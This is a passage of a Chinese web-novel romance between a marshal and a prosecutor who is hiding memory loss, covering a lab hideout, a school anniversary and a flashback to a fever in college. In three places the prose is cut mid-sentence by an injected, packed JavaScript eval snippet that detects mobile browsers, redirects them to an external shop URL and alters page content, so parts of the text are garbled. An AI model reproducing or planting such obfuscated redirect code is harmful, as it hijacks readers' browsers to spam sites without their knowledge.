两个人本来都该屏气凝神,安静等待外面的人离开。可闻泊彻偏不,他笑盈盈地凑上前,竟然吻了一下季临韫的手心。 季临韫顿时手掌一缩,朝后靠去,脊背紧靠柜壁,碰也不想碰到他。 下一刻,一只手掌撑在了上方的柜壁上。闻泊彻好不容易见到季临韫失态的片刻,绝不想轻易放过他。他正想开口说话,季临韫却曲膝一顶,挡在他要靠过来的身躯间。 季临韫冷淡地看着他,膝盖毫不留情朝前发力,撞得闻泊彻闷哼一声。这次,换他来警告他:“不要动。” 他本以为这样的举动足够震慑闻泊彻,抬起眸,却看见那双眼直勾勾盯着自己,里面的祖母绿色亮得发烫。 季临韫视线下移,看见刚刚被自己撞击的地方明显鼓起一块,撑起衣料的轮廓。他简直觉得不可思议,下意识又要抬腿补一脚,却在动身时被闻泊彻一手扣住脚踝。 “够了。”闻泊彻气血上涌,温热的身躯终于覆上来,居高临下地看着他。他将季临韫卡在角落里,声线哑得发沉,说:“说了别来招我,季检察官。你再碰我,我要是真的对你做什么,你要怎么办。” 这么逼狭拥挤的柜子,闻泊彻想,外面有人,季临韫又是脸皮这样薄的人。他要是现在低头下去吻他,他也不会反抗。 季临韫仰着头,轻喘着气。闻泊彻这个角度,能看见他白皙漂亮的脸随着呼吸起伏而泛红,不知道是怒意上涌还是羞耻无比,那双漆黑的眼一言不发,却恶狠狠地瞪着自己。 两个人就这样对峙着,在诡异而莫名暧昧的氛围中,听着头顶玻璃瓶底清脆的碰撞声。 终于,最后一个玻璃试剂被放进柜子中,研究员并未使用下面他们藏身的储物柜。 空置的推车被移动,研究员嘟囔着伸了个懒腰,朝外走去。 “都气得发抖了。”闻泊彻重新看向身下的季临韫,帮他撩开耳边的湿发,有些好笑地说,“你挨我这么近,在我身上乱动,能怪我?把自己气成这样。” 在实验室的门关上的几息后,季临韫揪着闻泊彻的领子,一把将人从柜子里拽了起来。他带着怒意和一点不明意味的耻辱,骂道:“闻泊彻,你怎么能这么不要脸!” “好凶啊,季检察官。”闻泊彻这次没有反抗,乖顺地被季临韫揪起来,只是眼睛紧紧看着他。他不答反问:“你真的没有记忆吗?临韫,你知不知道,你每次在学校里跟我吵架,就是这个样子。” “词都没换,只知道骂我不要脸。” “我看你还挺引以为荣。”季临韫冷冷看着他,眸底还带着为消散的怒意。他攥了攥手指,应该是想甩闻泊彻一巴掌,但忍住了,手顿在半空中。 他一把将他推开,转身就要朝外面走。 “着什么急?”闻泊彻从身后一把牵住他的手,说,“季检察官,你还没说清楚,你来这里,躲在人家实验室里,想干什么?” 季临韫顿下脚步,面无表情地说:“和闻元帅鬼鬼祟祟从研究所窗户里翻过来相比,我觉得我的行为还比较文明,你说呢?” “早就看见我了?”闻泊彻说,“早就看见我,怎么不和我打招呼?” “你拿了什么?”季临韫冷淡而漆黑的眼眸看着他,直直问。 “军事机密。”闻泊彻笑了笑,“无可奉告。” “那不巧。”季临韫也说,“我查的东西也是检察院的机密。” 他抬起眸,说:“你出来的地方,是研究所存放药剂的储存实验室。把东西给我。” “季检察官这么清楚研究院把东西放哪?但我可没偷拿人家东西。”闻泊彻笑了一声,眼神却不冷不热,“临韫,想从我这里要东西,就不必对我遮遮掩掩的吧?” “告诉我你拿这个做什么,我就给你。” 他有预感,这件事和季临韫生病的原因,甚至和那场事故,都有密不可分的关系。 上辈子的这个时候,季临韫遇袭,刚养起来的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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临走时,季临韫还回头淡淡看了闻泊彻一眼,说:“我要的东西,会自己拿。” “闻元帅还是好好想想,怎么和研究所的人解释你在这里的事情吧。” 闻泊彻沉默片刻,唇角一带,彻底被气笑了。 片刻后,实验室的大门“砰”得一声被打开。几名研究员匆匆赶来,在看见实验室里的场景时,都不由松了一口气。 “我叫你们别把试剂放柜子上,还放在边缘!刚刚是谁理的试剂?幸好就是个装纯水的玻璃瓶,水就能随手一搁在柜子上了?” “这次还好,以后要是引发重大事故怎么办?看看这砸的,回去一人扣一个季度的补贴!” 实验室中,一个玻璃瓶砸落在报警器上,里面的水不断从破裂的瓶身涌出,伴随着还在不断鸣叫的报警器。 刚刚记录的研究员犹豫片刻。他印象里根本没有这个试剂瓶,但自己刚才显然也没仔细注意,这会儿被领导劈头盖脸一顿骂,也没有争辩的心思了,乖乖低着头挨骂。 几个人手忙脚乱把实验室一顿收拾,手动关掉了报警器,终于放下心来,锁好了实验室的门。 等到几人脚步声完全消失,闻泊彻才无比冷漠地从天花板的角落爬下来,走到窗边一看。 很好。 他前妻是真的生气了。 就连下去的绳子也给他割了。 10. 学长 10. 闻泊彻摸了摸左手口袋,触碰到另一个坚硬的玻璃物体。 季临韫刚刚被他拥在怀里,窸窸窣窣往后靠,估计就开始搜他的衣服了。但时间紧迫,他应该只摸到了一边的口袋,不然一个都不会给他留。 闻泊彻想到这里,怀里好像还残留着季临韫的温度,隔着衣料,手掌下也全是他后腰处温热而细韧的触感。 他收起指节,猛然意识到自己在想什么东西,一时又气又好笑。 闻泊彻将东西收好,撬开锁,趁着保安换班的间隙,堂而皇之地从研究院的后面翻了出去。 卢林一早就接到了闻泊彻的通讯,在研究院后面等着接自己老大。这人一上车,就把东西抛了过来,懒洋洋地说:“去查这批药剂。私下找和军部没有合作记录的实验室,重新给我一份检测报告。” 卢林干习惯了这个事情,默默收好了药剂,说:“老大,我刚刚好像看见季检察官了。” “你怎么会见到他?”闻泊彻轻轻一笑,有些咬牙切齿地说,“根据日程安排,他现在正在检察院里呢。” “老大说得对。”卢林从善如流,“我肯定不能在这里见到季检察官。” 闻泊彻回了军部。 军部最近开始了年度的征兵,从第一学院里筛选,整个流程手续繁多,上下都忙得不可开交。 闻泊彻这段时间都住在军部,他有心想再试探季临韫药剂的事情,也更想见到他、和他一起吃饭,但大大小小的文件他都要过目,实在是忙得心力憔悴。 卢林拿着文件夹走进办公室,正撞上几个新下属被闻泊彻劈头盖脸一顿骂,灰溜溜地从里面出来。 “没关系,”卢林朝几人鼓励一笑,安慰说,“你们已经做得很不错了,过段时间就好了。” 他默默思考,想,等老大和季检察官重新吃上饭,整个军部办公大楼就又会和谐愉快了。 “进来。”闻泊彻一早就看见了他,说,“还有什么事情?” “送邀请函来了。”卢林将手中的烫金方卡放下,说,“军部每年的招新,和联邦第一学院的校庆都在一个时间段。老大你不会忘了吧?” “没忘。”闻泊彻高强度处理了几天事务,这会儿头疼地揉了揉太阳穴,说,“每年回去都要听那群老头讲废话,一讲讲一下午,吵死了。” “但今年不一样哦。”卢林给他收拾了一下略微凌乱的桌面,笑着提醒说,“老大,以往每一年,第一学院都会特意把您和季检察官隔开。今年一听说你们联姻,座位都给你们排一块儿了。” 他们两个少年时期就一向不和,但各自的成绩实在瞩目,是教授们一向偏爱的学生。即使在毕业后,也常常被各位老师谈起。 这会儿奥利西斯通告一发,这群坏老头和坏老太太就立即做出了最邪恶的安排,都想看看曾经最喜欢的学生的热闹。 闻泊彻这才微微坐起身,却是去看通讯器:“说得也是。让我看看,临韫回我消息了没有。” 卢林收起了笑容,冷漠地站在一边。 “回了,”闻泊彻笑起来,说,“季检察官跟我说早上好,你看。” 卢林无意窥探上司隐私,但通讯器已然怼在了眼前。他只得看过去,看见自己老大骚扰了检察官十几条,连中午吃什么都给人家发过去了。 而更令卢林惊叹的是,季临韫竟然每一个话题都集中回复了。虽然有时候只是一个很短的“嗯”、“晚上好”,也让他大吃一惊。 卢林不由赞扬说:“老大,你现在还没被告到最高法院去,多亏了季检察官脾气好啊!” “你说得对。”闻泊彻管都不管卢林,终于精神一振,说,“我到时候要去接临韫,我们一起出席。” 卢林听着上司牛头不对马嘴的回答,冷酷地想,幸好这不是末世时代,不然连丧尸都不爱吃他们老大的脑子! 联邦第一学院校庆活动当天,闻泊彻从军部开车去接季临韫。卢林恰巧从外面回来,在半路碰上他,迟疑片刻,提醒说:“老大,这边是去检察院的路。” “我知道。”闻泊彻冷着一张脸,说,“十点钟开场,我到检察院八点半。就这半个小时的班,你们季检察官都要去上。” “他才大病初愈,要是被我发现检察院的老东西压榨他……” 卢林听不下去了,赶紧关上窗户跑了。 而闻泊彻就这样不开心地开着车,一路到了检察院门口。 离约定的时间还差五分钟。他百无聊赖,就这样撑着脑袋靠在方向盘上,祖母绿色的眼眸盯着检察院门口看。 不多时,一个消瘦而挺拔的身影逐渐朝肃穆的检察院大门走进。天气转冷,季临韫一贯最怕冷,里面穿了件高领白毛衣,黑色大衣披在身上,衬得气质冷清而利落。他略带钝感的冷淡眉眼抬起来,唇色在骤冷的温度中冻得透红。 闻泊彻拉开车门,下去接他。 “冷了?”闻泊彻走近,抬手碰到了季临韫的指尖。他明显地一皱眉,想去牵他,最好是能揣到自己大衣里。但转念想到,前不久在研究院,自己才把他惹生气,一下又略带落寞地垂了下去。 “还好,现在还不算太冷。”季临韫坐上了车,漆黑色的眼眸微微一动,有些狐疑地问,“我们一同出席,真的能让联邦人民更安心吗?” “当然了。”闻泊彻确实在约他出来时,找了个冠冕堂皇的借口。 这会儿说起来,他也脸不红心不跳:“你失忆了,可能不太清楚现在的局势。两个家族之间政治联姻,就能确保边缘星区不被放弃,他们当然觉得更安稳。” 季临韫刚要开口,不远处却传来一阵喊声:“临韫——你的早餐落在办公室了!” 闻泊彻顺着声源看过去,看见季临韫那个烦人的同学兼同事小跑过来,手上拿着一个奶油小蛋糕。 人家还喘着气呢,就开始教训他老婆了:“临韫,你早上都没吃两口东西,早餐还不带上呢?等会儿一坐大半天了,又饿得胃不舒服。” 季临韫还没做出反应,就看见身旁略过去一只宽大而有力的手臂,一把将窗外的小蛋糕给抢了过来。 他转过头,看见闻泊彻笑眯眯地对埃里克说:“谢谢你对我未婚夫的关心。临韫已经收到了,你可以立马消失了。” 埃里克眨了眨眼,还没继续往下说,闻泊彻就把窗户升上去了。 “闻泊彻。”季临韫微蹙起眉,说,“你干什么?太没有礼貌了。” “帮你拿蛋糕啊,”闻泊彻抬起头,绿色的眼眸看着季临韫。这个角度能让他看起来无比无辜,好像什么坏事也没干似的,“怎么没吃早饭,临韫。” “我没有在车上吃东西的习惯。”季临韫给埃里克发了条消息道歉,才说。 骗子。 闻泊彻想,上辈子婚后,他们住在一起的时候。季临韫身体有些不好,时常嗜睡。 他有意让人多睡一会儿,做了三明治或者小蛋糕当早餐。送季临韫去上班的时候,他就和困倦的小猫一样,靠在柔软的白色软枕上,坐在旁边慢慢咬。 “不可以。”闻泊彻立即说,“再不吃胃又要饿坏了,你想我叫医生过来检查吗?大检察官。” 季临韫冷漠地看着他。 “你要是不吃早餐。”闻泊彻瞥了眼季临韫手里的小蛋糕,哼笑一声,说,“我就把季检察官爱在早上吃奶油草莓小蛋糕的事情,发到社交媒体上去。” “?” 季临韫眼眸微动,显然现在就是小蛋糕的最佳赏味期。 但他拆开透明的蛋糕盒子时,还是抬了抬下巴,提前免责说:“如果奶油弄脏了你的车,我不会负责。” 闻泊彻瞥到他明亮的黑色眼眸,笑了笑,说:“不要你负责。” 季临韫于是开始认真地吃起手里的小蛋糕。 跟猫似的。 闻泊彻偷偷用余光看向他。季临韫吃东西的时候一直很专注,手掌端正地托着蛋糕盒底部,另一只漂亮白皙的手拿着小勺子。 他低着头,漆黑的发略微遮住了一点眉眼,一小口一小口地吃着蛋糕,少许白色的奶油沾在旁边,又被嫣红的嘴唇轻轻抿掉。 “看够了吗?” 季临韫慢条斯理地放下勺子,说:“闻元帅,如果你再用这种眼神看着我,车就换我来开。” “这种眼神?”闻泊彻笑了笑,说,“什么眼神?” 季临韫抬起眼眸,倏忽间与闻泊彻的视线相撞。车还未启动,这人靠着车门,精劲有力的小臂微抬,撑着一张俊朗又棱角分明的脸,一双深绿的眼眸就这样看过来。 闻泊彻带给人的侵略性很强,特别是那双漂亮祖母绿眼睛,几乎在对视间强行夺去了人的注意力。但此刻季临韫看着他,却更多的感觉到了一种别样的收敛与温柔。 “临韫。” 季临韫怔愣,在对视片刻的滚烫的温度里还未回神,就感到下唇被粗粝而温热的指腹一蹭。那张脸倏忽间又在眼前放大,闻泊彻的鼻尖一时与他只有咫尺之距。他能感觉到他的声音又哑了,但只是叫了声他的名字,说:“临韫,沾到奶油了。” 季临韫只觉得脑子有些空白,手掌下意识朝前伸去,抵住闻泊彻的胸膛。他手心触碰到一阵蓬勃的心跳与热意,猛地又缩回手,片刻才说:“我知道。开车。” 闻泊彻能明显感觉到他紊乱的呼吸。他收回手,见好就收,心情大好地重新将手搭上方向盘。 季临韫说,他在用这种眼神看他。 那季临韫呢? 季临韫朝他看过来的时候,漆黑的眼眸像要把人浸在冷泉里,可看人的时候又要认真注视对方的眼睛,把那点生性的疏离也褪去大半,好像能让人更加得寸进尺一样。 在唇齿都快要碰到他的时候,他的冷淡里就展现出一点滞意,懵懂与失措成了那双黑眼睛里重新烧起来的艳色。 这样的反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114150|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用这样的黑色眼睛看他,季临韫在做什么? 闻泊彻不动声色地收回视线,轻笑一声,按照季检察官的要求认真开车。 半个小时后,他们提前到达了校庆的场地,按流程入座。 整个庆典都举行得非常顺利,只是在闻泊彻靠在椅子上、听着昔日的教授讲话昏昏欲睡时,会被旁边的季临韫用手肘戳两下。 “你能不能别睡了,闻元帅。”终于,季临韫忍不住了,说,“媒体在拍照。你好歹也是军部的核心了,能不能给公众正面点的形象?” “现在睡醒了。”闻泊彻眨了眨眼睛,手掌揉了一下略微酸痛的后颈,说,“我不是故意的,最近军部的事情太多了,很少睡过整觉。” 季临韫微怔,想起来最近确实是军部的考核月。他顿了顿,半晌才说:“你睡过来一点,我给你稍微挡一下,别睡得太难看了。” 闻泊彻也是一愣,没料到季临韫会这样说。他忍不住笑起来,说:“那媒体拍照和公众形象?” 季临韫没看他,只说:“这应该是你难得的休憩时刻。民众不会这样不近人情,会体恤过度劳累的元帅的。” 闻泊彻只觉得心脏又一下暖热了起来。他刚要开口,又看见季临韫冷着一张小脸说:“快过来,镜头要往这边移了。” “哦。”他于是乖乖挪过去,离季临韫更近了一点。 终于,在上午场结束前,闻泊彻也算完全睡醒了。他学着季临韫的样子坐得端端正正,偷偷注意着他在看什么。 他们在一起时,闻泊彻总忍不住去看他。他会想到那份药剂、想到季临韫的案子,甚至……甚至是上辈子他的死亡。他想询问他许多话,但眼下这样的时刻,他一点也不舍得开口。 两个人就这样默不作声地待完了全程,也算和谐。 等到庆典尾声时,军部的人过来喊闻泊彻,有些工作要和他汇报。季临韫就独自坐在位置上,等到庆典结束散场时,人群已经开始走动了,闻泊彻也还没回来。 他倒不着急,就坐在原位处理着通讯终端的消息,等闻泊彻回来。 “阿韫。” 忽然,季临韫听到正前方传来一道清越而温和的声音,略带惊喜,在叫自己的名字:“原来你在这里。” 季临韫抬起头,却略微怔愣了一下。 来人长身玉立,气质稳重温和,蓝色的眼眸里带着一点笑意。 他触碰到季临韫眼里的陌生与疏离,片刻才反应过来,说:“我是狄明斯,自小就一起长大的。小时候你总是叫我哥哥,上学了也一直喊我学长的。不认识我了吗?” 季临韫回神,站起身来,轻轻伸出手,说:“你好。” 他这样明显的疏离态度,狄明斯见了,也并不介意。 他笑了笑,温声说:“抱歉,我早就听闻了你受伤,但半个月前才从外星区回来,一直找不到机会来见你。” “阿韫,能请你吃一顿晚饭吗?” 季临韫刚要开口回答,却感觉身后一阵巨力袭来,腰间被一双手臂按住,往后撞进了一个宽阔而紧实的胸膛里。 “恐怕不行。” “对不起,”闻泊彻将季临韫整个人带到身前,姿态无比亲昵。他也冲狄明斯笑了笑,眼睛里却是冷的,说:“狄明斯学长,临韫晚上要和我一起吃饭。” 狄明斯看见闻泊彻横插一脚,依旧从容而淡定地笑着说:“现在离吃晚餐的时间也还早,不如我请阿韫去喝杯下午茶?抱歉,我有些事情想和他单独谈。” 闻泊彻开口就准备拒绝,却听到季临韫说:“好。” “有事情要谈。”季临韫感觉到闻泊彻身上的气压顿时低了下来,甚至在无意识释放精神力的威压。 他转过身,握住闻泊彻的胳膊,带了一点安抚的意味说,“我们谈完,就一起去吃晚餐,可以吗?” 闻泊彻意识到,季临韫好像在无意识地、甚至有些笨拙地哄自己。 这个认知,让他一下子生不起任何气来,反倒心脏都在发着烫。 但看见旁边的狄明斯,闻泊彻又皮笑肉不笑地说:“好,临韫。” 就这样,闻泊彻摆着脸,送两个人去了学校附近的咖啡厅。 此时的咖啡厅异常冷清,演讲和表演结束后,学生都去参加典礼其他的活动了,里面几乎没有人。 点过单后,服务员迅速给两人端上了两杯咖啡,还有一份巧克力甜点,是专门给季临韫的。 狄明斯坐在对面,看了季临韫半晌,才笑着开口说:“阿韫,大半年不见,你消瘦了许多。” “我之前只知道你受伤,不知道你什么都忘了。”他苦笑一声,说,“甚至我一回来,你就要和闻泊彻结婚了。我想知道,临韫,你……” 他话还没说完,季临韫就轻声打断,说:“学长,你误会了。” 狄明斯有些错愕,抬头去看季临韫,听见他说。 “我没有失忆。” 11. 发烧 11. 咖啡厅外种了大片粉蓝色的绣球花,一簇一簇栽在落地窗前。黄昏前的光很剔透,浓重的橘黄色地透过玻璃,落在里面交谈的客人身上。 闻泊彻心不在焉地隔着玻璃,朝里面看。 沿他的视线看去,季临韫似乎与对面的人交谈甚欢。他漂亮白皙的五指曲起,搭着将描金的白瓷咖啡杯,显得骨节匀称而分明。不知道那人说了什么,他甚至很浅地笑了一下,眼里的漆黑都在温柔的黄昏下褪去冷意。 临韫都很少这样对我笑。 闻泊彻咬着牙,恨恨地想。 就在闻泊彻心烦意乱时,放在一旁的通讯器忽然响了起来。 他轻轻瞟了一眼,是卢林。 “老大,”卢林刚接通,就小声问,“您现在方便接电话吗?” “什么事?”闻泊彻扫了一眼落地玻璃里的两个人,“直接说。” “是前段时间的药剂。”卢林说,“检测报告出来了,那根本不是治疗流感的药剂。” 闻泊彻皱了皱眉,听卢林继续说。 “实际上,这是一批三级营养剂的半成品。它确实是要专供第九星区的,但应该先送到维纳α星进行成品加工。这东西虽然叫营养剂,但其实也没什么营养,只能维持第九星区人民最低的生存需求。但因为第九星区太贫穷了,而三级营养液一直价格低廉,所以一直是畅销品。” “卢林,”闻泊彻听完,慢悠悠地说,“用你敏锐的阴谋论嗅觉闻闻,你觉得科学院的人是蠢货吗,能把营养液和流感药剂弄混?” “不是没有这种可能,毕竟这批东西已经被错误地运送到军部来了。”卢林为难地说,“但是我找科研人员问了成分,即使是作为营养液,也没有什么不妥的成分。” 他想了想,又说:“只是有一种特殊的营养因子,被命名为β-巯素。日常营养剂里没有这种因子,但它可以增强人体的一些通路互作作用。您知道,因为第九星区常年下雪,所以β-巯素可以增强他们抵御严寒的能力。” “我查过相关文献,β-巯素确实有这种功能,并且没有什么危害。只是因为没有必要,很少在第九星区外的地方使用。” “那军部实验室在干什么,没看出这是营养液成分?”闻泊彻冷笑一声,说,“通告都敢乱写?我不管军部实验室属不属于于科学院下属单位,但既然这是在军部,就是我说了算。犯这种错误,涉事实验室里的人一个也别想跑。” “是……”卢林擦了擦头上的汗,说,“我会查清楚这件事,相关处罚也会到位。” 闻泊彻挂断通话。 “先生,先生。” 通讯挂断不久后,服务生从不远处走过来,手上端着一杯咖啡,笑着说:“这是里面那位穿黑色大衣的先生,给您点的咖啡。” 焦糖的甜味一下弥漫在空气中。 闻泊彻明显愣了一下,刚刚的怒气好像也消散了大半,嘴角抑制不住地抬了抬。他抬起修长的指尖,朝玻璃上点了两下,明知故问:“这位先生点的?” 虽然咖啡厅内现在就只有这两位客人,但服务生依旧保持着微笑,说:“是的。” 闻泊彻心中因为两人见面的郁结顿散,愉悦得不行。他哼笑一声,表面却还是矜持地说:“行,我知道了。小姐,麻烦你告诉里面那位先生,外面的蛋糕要少吃,我们还约了晚餐。” 服务生看了看里面的两人,眨了眨眼睛说:“没问题。” 闻泊彻拿起咖啡,手掌撑着下巴,重新朝玻璃里投去视线。他本意是偷窥,却不料,正巧与里面的季临韫对上眸光。 “阿韫,你在看什么吗?” 咖啡厅内,季临韫朝窗外出神片刻,被对面的人重新叫回神。他从闻泊彻身上收回视线,黑色的眼里带了一点笑意。 “在看孔雀。”季临韫淡笑着说,“不好意思,学长,你继续说吧。” “闻泊彻?”狄明斯顺着他的视线看去,也笑了笑,“是我打扰你们了,他好像不太欢迎我。” “没有打扰。”季临韫又朝外看了看,往杯子里加了两块方糖,说,“他看谁都是这幅样子。” 他话中带着斥责,但狄明斯却莫名听出了一点亲昵的含义。 “我对他是没有好印象的。阿韫,你应该一直都知道。”狄明斯笑了一声,说,“这可不是我在说他坏话。你当时入学才不久,就因为他生了病,高烧了好几天。你不会忘记了吧?” 季临韫微怔,随后想起来,狄明斯说的是哪一件事。 他确实记得。 入学联邦第一学院后,为期三个月的封闭式训练结束,他们在仲雅校区开始正式上课。那时首都星能源异常,导致凛冬冻雨突然降临,连续下了几个星期。 磅礴大雨占据着天空,橙黄的路灯将丝丝雨滴都衬得分明。季临韫撑着一把黑色的伞,在傍晚时分去赴闻泊彻的约。他们之前在格斗课上其实打过几次,势均力敌,短短的四十分钟自由搏击的时间完全不够两个人发挥。 在格斗课上,两个人互相掣肘住对方的身体。季临韫用膝盖狠狠顶住闻泊彻的小腹,压在身下,而他自己也被扣住了肩身,一动不能动。两个人暗自僵持,最后课程结束的铃声响起,分开时都大汗淋漓。 季临韫的衬衫已经湿了大半,贴在瓷白的皮肤上,下摆中露出一点精瘦而富有韧性的腰线。而闻泊彻也没好到哪里去,头发湿漉一片,衣服紧贴着轮廓分明的身上,在蓬勃热意中爆发出强劲的男性气息。 课程结束,两个人一时却都没有动,在彼此眼眸中都看见了尚未尽兴的神色。 所以这个时候,闻泊彻朝他发出邀约。即使两人之前有过过节,季临韫还是答应了。 但当季临韫到达训练场后,闻泊彻却迟迟未到场。他第一反应,就是给闻泊彻的室友打通讯,确认他是否出了事情。 但闻泊彻的两个室友无人接听,他本人也完全联系不上。季临韫蹙着眉,最终打了自己室友的通讯,让他们帮忙确认闻泊彻是否留在学生宿舍。 终于,发现闻泊彻是故意爽约后,季临韫冷笑了一声,转身发现自己带过来的黑色雨伞被拿错了。 提前降临的冻雨让空气都带着凛冽冷意,淅淅沥沥的雨点重重砸在水泥地上。季临韫站在训练场的出口处,沉默片刻,在深夜迎着漫天大雨,一路走了回去。 回到宿舍时,埃里克一见到他浑身湿透的样子,吓都要吓死了:“临韫!你没带伞吗?怎么不叫我和小惟去接你?哎呀赶紧进来换衣服!小惟,小惟——帮我拿一下毛巾。” 季临韫没说话。埃里克一把将人拽到暖气里来,说:“到底怎么回事呀,闻泊彻不在你旁边吗?他也没带伞吗,怎么没送你回来?” “他没来,”季临韫冷静地说,“我的伞被拿走了。” 他认真地道歉说:“对不起,我当时太生气了,觉得这样有助于平息怒火。我怕我一回学生宿舍,就把闻泊彻打死了。” 埃里克看他一脸平静,心道不好,扯着嗓子喊:“小惟!小惟你快来!临韫已经被气疯了!” “我来了我来了!” 小惟拿着干热的毛巾,急匆匆赶到玄关口。他心疼地给季临韫擦头发,恨恨骂道:“你刚刚才回来不知道。那个王八蛋,故意耍临韫玩。亏临韫刚刚还担心他是不是出了事情,这种人我祝他阳痿!” “临韫你也是,”他骂完闻泊彻,转头开始骂季临韫,敲了一下他的脑袋,“你被他传染笨蛋了吗,怎么不叫我们去接啊!下这么大雨,明天给你脑瓜都冻坏,等下跟那个蠢货坐一桌!” 季临韫被小惟一边骂一边擦着头发,忽然脑门还一痛。他一下有些茫然地眨了眨眼睛,抱住脑袋,不让他打了。 “不要打临韫哇。”埃里克从后面夸张地抱住小惟的腰,说,“有什么都冲我来吧!” 季临韫终于没忍住,站在玄关口,被两个室友逗笑了。 “笑什么笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114151|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”小惟狠狠捏了捏他的脸,说,“我刚刚煮了姜茶,泡完热水澡进来马上喝。” 季临韫从浴室出来后,换上了干燥的衣服,也喝完了姜茶。第二天早晨,他就隐约觉得有些头重脚轻,但还是上完了白天的课。 晚饭后,是周一例行的格斗课。季临韫晚上吃不太下东西,上课的时候已经隐约发起热来了。 但他不想请假,因为他看到闻泊彻已经到场了。 闻泊彻也看见了季临韫。 他顿时想到昨天晚上的事情,心里虽然对季临韫的话耿耿于怀,但却从没想让他在冷天里等这么久。 闻泊彻刚想上前走近,教授课程的老师却也到了。他漫不经心地听着老师讲解技巧,终于到理论结束,他再一次近距离地见到了季临韫。 一和季临韫交上手,闻泊彻就觉得有些不对劲。 他漆黑的眼眸带着冷色,动作狠厉又迅速,几乎招招在闻泊彻脸颊旁带起疾风。闻泊彻迅速后撤,躲过季临韫的肘击,却在刹那间触碰到他手腕处的皮肤,几乎烫得惊人。 他一下意识到了什么,硬生生挨了一下随即而来的一脚,反手就要去抓季临韫的腕。 季临韫哪能让他如愿,一脚下去后顺势蹬地而起,劈手就朝闻泊彻的脸上打去。 闻泊彻只得抬手一挡,迅速低身下踢,一瞬间闪到了季临韫身侧。他故作迟疑两秒,当胸又挨了季临韫一拳,终于牢牢握住了他的手臂。 季临韫还想挣手,朝前发力时忽然眼前一黑,腰腹顿时就塌了下去。 随即,一阵更重的眩晕感袭来。 “季临韫!” 季临韫只感觉到自己重重向下一坠,随后手腕处传来巨力一拽,自己被迫撞入了一个坚实滚烫的怀抱里。 闻泊彻捞住他的腰往上一抬,他整个人都完全被打横抱起来了。 季临韫难受地仰起头。在肾上腺素最初的作用过后,他终于后知后觉地浑身酸痛,过度滚烫的呼吸在喘息间逸散出来:“放我下来!” “你发烧了来上什么课?”闻泊彻扣着他的腰,居高临下地说,“你知道自己现在是什么样子吗,季临韫。” 从他的视角看去,季临韫整个人都发着不正常的红。刚刚交手时他出了一点薄汗,黑发就这样潮湿地贴在潮红的脸颊上。他睁开一点眼皮,唇烧得嫣红,白腻的脖颈在抬头时暴露在闻泊彻掌下,竟然一时显得…… 一时显得有些活色生香。 闻泊彻下意识松开掌心,暗骂自己一声,抱着季临韫就要往外走。 这时,小惟将人从身后叫住:“闻泊彻,你要带临韫去哪里?” “他生病了,”闻泊彻转过身,冷冷地说,“烧成这样,你们看不出来吗,我要带他去医务室。” 教授格斗课的老师也注意到了这边的动静,走过来了解了情况,让闻泊彻先送季临韫去看校医,其他人继续上课。 小惟暗暗咬牙,巴不得把季临韫从这个可恶的人身上扒下来! 而闻泊彻看也不看他们,一手抱人一手撑伞,大步将季临韫送到了医务室。 “别离我这么近。”季临韫被放下,一把栽进了柔软的枕头里。他蹙起眉,伸手去推闻泊彻,说,“滚……” 闻泊彻本来也没想离他多近,但听季临韫这样说,他磨了磨牙,越是朝前凑了半刻:“我就是这个距离,你要怎么……” “啪!” 下一刻,闻泊彻脸颊微痛,季临韫伸手拍了他一巴掌。 这一下甚至说不上重,季临韫的手软绵绵的,没什么力气。但清脆的巴掌声响起,两个人皆是一愣。 比起疼痛,这一巴掌带来的羞耻感要更多。 闻泊彻也觉得自己应该觉得耻辱、愤怒,可他还没来得及发火,却先看见了季临韫红透的眼睛。 随后,那么漆黑、漂亮又平静的眼睛里,滚落出了一颗水珠。 “你凭什么不来。” 季临韫说。 12. 黄昏 12. 黄昏已经变成了琥珀色。 季临韫从咖啡厅的玻璃门走出来时,闻泊彻刚喝完了手中的咖啡,温柔的光线落在两人之间,打下层层叠叠的婆娑树影。 他抬起优越颀长的腿,上前两步,伸手将季临韫带到自己身边,说:“感谢狄学长的款待,如果没有什么事,我就先带临韫去吃饭了。” 狄明斯原本走在季临韫身侧,被闻泊彻这样强势地一带,他一下和季临韫拉开了一段长距离。他温和地笑起来,说:“是我打扰你们一下午了。阿韫,有事记得给我打通讯。下次我来请你吃晚餐,可以吗?” “好。”季临韫也笑了一下,说,“下次见。” “他跟你说什么了?这就约好下次吃饭了?” 狄明斯一走,闻泊彻刚上了量子车,就忍不住侧头问他。 “没什么。”季临韫眼眸淡淡,说,“认真开车。” “他喊你什么?阿韫?”闻泊彻的绿眼睛里写着不高兴,车也不开了,凑上去用虎口掐住季临韫的下巴。他带着一点幼稚的恶意,诋毁情敌说:“恶心死了。” 季临韫任由他掐着,一动不动。他眼眸平静,半晌才淡淡地说:“阿彻。” “?”闻泊彻明显愣了一下,手上的力道也顿时松懈下来。季临韫叫他的声音不重不轻,带着一点清冷的哑,明明毫无疑味,却又好像在咬字间带着莫名的暧昧。 